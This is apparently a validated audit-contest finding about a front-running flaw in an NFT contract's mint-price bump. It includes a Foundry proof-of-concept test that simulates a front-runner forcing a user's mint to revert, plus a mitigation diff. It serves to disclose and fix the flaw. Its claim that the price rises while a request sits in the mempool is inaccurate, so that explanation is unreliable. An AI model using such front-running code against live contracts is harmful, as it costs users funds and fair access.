Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

[M-2] Unconditional Price Bump in `requestMintWeatherNFT` Enables Front‑Running and User DOS

[M-2] Unconditional Price Bump in requestMintWeatherNFT Enables Front‑Running and User DOS

Description

requestMintWeatherNFT increases the mint price immediately when any mint request enters the mempool—even before the original transaction is mined. This allows a front‑runner to watch for a user’s pending mint, submit their own mint with a higher gas price at the old price, and cause the victim’s transaction to revert (because the price has just been bumped). The attacker thus mints “cheaper,” and user loses gas.

function requestMintWeatherNFT(...) external payable returns (bytes32 _reqId) {
require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
// ──> @> price is bumped here immediately
s_currentMintPrice += s_stepIncreasePerMint;
// … rest of logic …
}

Risk

Likelihood: High

  • Bots and MEV searchers continuously monitor the public mempool for high‑value NFT mint requests.

  • Submitting a rival transaction with higher gas to execute first is trivial—no special privileges or complex conditions needed.

Impact: Medium

  • Gas Drain & Denial‑of‑Service: Legitimate users’ transactions revert, wasting gas and blocking their ability to mint at the intended price.

  • Cheaper Arbitrage Mint: Attackers secure NFTs at the old, lower price, undermining fair access and potentially capturing all supply before retail users

Proof of Concept

Add the following test in the testing suite:

// declare the frontRunner
address frontRunner = makeAddr("frontRunner");
// add these into the setUp function
vm.deal(frontRunner, 1000e18);
deal(address(linkToken), frontRunner, 1000e18);
// actual test
function test_frontRunning_vulnerability() public {
string memory pincode = "110001";
string memory isoCode = "IN";
uint256 initialPrice = weatherNft.s_currentMintPrice();
console.log(
"Initial price: ",
initialPrice,
" Step increase: ",
weatherNft.s_stepIncreasePerMint()
);
// Create user transaction with the initial arbitrary price
vm.startPrank(user);
bytes memory userTx = abi.encodeWithSelector(
weatherNft.requestMintWeatherNFT.selector,
pincode,
isoCode,
false,
1 days,
0
);
vm.stopPrank();
// Front-runner sees the transaction and front-runs it
vm.prank(frontRunner);
weatherNft.requestMintWeatherNFT{value: initialPrice}(
"999999", // different pincode
"US", // different country
false,
1 days,
0
);
// Price has now increased
uint256 newPrice = weatherNft.s_currentMintPrice();
console.log(
"New price: ",
newPrice,
" Step increase: ",
weatherNft.s_stepIncreasePerMint()
);
assertEq(
newPrice,
initialPrice + weatherNft.s_stepIncreasePerMint()
);
// User's transaction would now fail if executed with the original value
vm.expectRevert(WeatherNftStore.WeatherNft__InvalidAmountSent.selector);
vm.prank(user);
(bool success, ) = address(weatherNft).call{value: initialPrice}(
userTx
);
}

Fig.1

[PASS] test_frontRunning_vulnerability() (gas: 510032)
Logs:
Initial price: 100000000000000 Step increase: 10000000000000
New price: 110000000000000 Step increase: 10000000000000

Running this test with the command forge test --mt test_frontRunning_vulnerability --via-ir --rpc-url $AVAX_FUJI_RPC_URL -vvvv will have the output shown in Fig.1.

Fig.2

├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← [Return]
├─ [1270] 0x4fF356bB2125886d048038386845eCbde022E15e::requestMintWeatherNFT{value: 100000000000000}("110001", "IN", false, 86400 [8.64e4], 0)
│ └─ ← [Revert] WeatherNft__InvalidAmountSent()
└─ ← [Return]

As we can see in Fig.2, when we try to call the tx with the initial value, it will revert. As such, our user got front-run.

Recommended Mitigation

Because bumping up the price in the `requestMintWeatherNFT leads to the user getting front-run, we could technically increase the price after the whole minting process is complete.

function requestMintWeatherNFT(...) external payable returns (bytes32 _reqId) {
require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
- // immediate bump allows front‑running
- s_currentMintPrice += s_stepIncreasePerMint;
+ // defer bump until after mint finalization
+ // (e.g. in fulfillMintRequest, after successful mint)
// … existing transfer/LINK logic …
_reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
+ // do *not* bump price here
emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
// record user request…
}
+
+// then, in fulfillMintRequest, once mint is done:
+function fulfillMintRequest(bytes32 requestId) external {
+ // … existing checks and mint …
+ // only now bump the price for next user
+ s_currentMintPrice += s_stepIncreasePerMint;
+}
Updates

Appeal created

bube Lead Judge 23 days ago
Submission Judgement Published
Validated
Assigned finding tags:

The price of the token is increased before the token is minted

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.